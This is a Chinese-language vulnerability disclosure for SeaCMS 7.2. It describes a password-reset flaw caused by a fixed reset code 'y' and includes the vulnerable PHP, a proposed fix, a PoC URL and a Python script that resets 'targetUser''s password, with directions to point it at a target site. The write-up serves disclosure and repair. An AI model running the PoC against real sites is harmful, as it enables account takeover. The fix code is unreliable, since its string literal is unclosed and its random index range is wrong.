code:https://www.seacms.net
Version:7.2

0x01 前言

写完Seacms7.2-任意文件删除&Getshell后台篇之后就开始了漫长的考试,课程设计时间。一直没时间把前台篇也就是本文写完,今天彻底放假了,故此完善本文。

先附上一个自己写的黑盒测试辅助工具:MySQLMonitor

主要用户辅助黑/白盒测试SQL注入一类的漏洞。

很适合代码基础相对较弱的师傅们使用。

0x02 过程

经过一系列的前台测试后实在找不到有用的漏洞,笔者转向取寻找用户之间的漏洞。

注册两个用户:

账号 密码
User_A 12345678
User_B 87654321

登录账号User_A进行测试。

这里笔者本来只是想通过审查元素修改显示为明文 这样演示效果好一点 缺意外发现此处将用户密码的hash直接写出来了?如果此处附近存在XSS有或者同事朋友在你登录了账号的时候来使用你电脑 不是可以直接丢到cmd5等平台解密出来了?总之这种写法很不安全!

此处重点测试。

比对发现两个用户的邮箱可以相同 可惜并不能越权修改 暂时无法利用

此处为了方便本地调试将member.php文件的第164行修改为

// ShowMsg('抱歉!激活邮件发送失败,请联系客服解决此错误。','login.php',0,100000);
        var_dump($smtprtitle);
        var_dump($smtprbody);

(将原本的发送失败的提示注释掉 修改为重置密码的邮件内容)

得到了格式如:

http://127.0.0.1/member.php?mod=repsw3&repswcode=54de2fd1aa4e96c4e1a3ce0b5153d170&repswname=User_A

直接修改参数中的repswname提示授权码过期 看来这个repswcode生成的算法应该用到了repswname这个值。

正常重置后:

如图 惊讶的发现正常重置后开发把repswcode的值又设成y 那么问题来了 重置密码时将repswcode直接修改为y能否重置密码了?

比如:

http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B

Poc即为:

http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=targetUser

Python Poc:

import requests

session = requests.Session()

paramsGet = {"mod":"repsw4"}
paramsPost = {"cckb":"\x63d0\x4ea4","repswname":"targetUser","repswnew2":"12341234","repswcode":"y","repswnew1":"12341234"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"85a2970b95cf09d5472b13c211f2afe3"}
response = session.post("http://127.0.0.1/member.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)

将Poc种的地址替换为目标站点 targetUser替换为目标用户再运行即可。

0x03 分析

查看数据库发现所有用户的repswcode值默认都为y 那么问题肯定是先出在注册程序上了 定位到根目录下reg.php的第50行到第67行:

$row1=$dsql->GetOne("select username  from sea_member where username='$username'");
if($row1['username']==$username)
{
        ShowMsg('用户已存在','-1');  
        exit(); 
}

    $pwd = substr(md5($m_pwd),5,20);
    $ip = GetIP();
    $randtime=uniqid();
    $acode=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser.$randtime); //构造唯一码   
    $email = RemoveXSS(stripslashes($email));
    $email = addslashes(cn_substr($email,200));
    $regpoints=intval($cfg_regpoints);
    if($regpoints=="" OR empty($regpoints)){$regpoints=0;} 
    if($username) {
        $dsql->ExecuteNoneQuery("INSERT INTO `sea_member`(id,username,password,email,regtime,regip,state,gid,points,logincount,stime,vipendtime,acode,repswcode,msgstate)
                  VALUES ('','$username','$pwd','$email','$dtime','$ip','1','2','$regpoints','1','1533686888','$dtime','$acode','y','y')");

注意看最后两行会发现注册时写入的repswcode得值时固定的 也就是前面提到的y 而且member.php的第249-272行:

if($mod=='repsw4'){
    $repswname=$_POST['repswname'];
    $repswcode=$_POST['repswcode'];
    $repswnew1=$_POST['repswnew1'];
    $repswnew2=$_POST['repswnew2'];


    if($repswnew1 != $repswnew2){showMsg("两次输入密码不一致!","-1",0,3000);exit();}
    if(empty($repswname) OR $repswname==""){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}
    if(empty($repswcode) OR $repswcode==""){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}

    $row=$dsql->GetOne("select * from sea_member where username='$repswname'");
    $repswcode2=$row['repswcode'];

    if($repswcode != $repswcode2){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}

    $pwd = substr(md5($repswnew1),5,20);

    $dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',repswcode = 'y' where username='$repswname'");
    ShowMsg('密码重置成功,请使用新密码登陆!','login.php');
    exit();


}

可以看到重置密码成功后repswcode的值又给设为y了 因此造成了漏洞

0x04 修复

function randomkeys($length) 
{ 
   $pattern = '1234567890abcdefghijklmnopqrstuvwxyz 
               ABCDEFGHIJKLOMNOPQRSTUVWXYZ;
    for($i=0;$i<$length;$i++) 
    { 
        $key .= $pattern{mt_rand(0,35)}; 
    } 
    return $key; 
} 


$repswcode = randomkeys(10);

厂家或用户可自行将上面的函数添加到reg.phpmember.php中并将分析中两处写入的y替换为$repswcode 10位的随机字符就很难爆破了。

源链接

Hacking more

...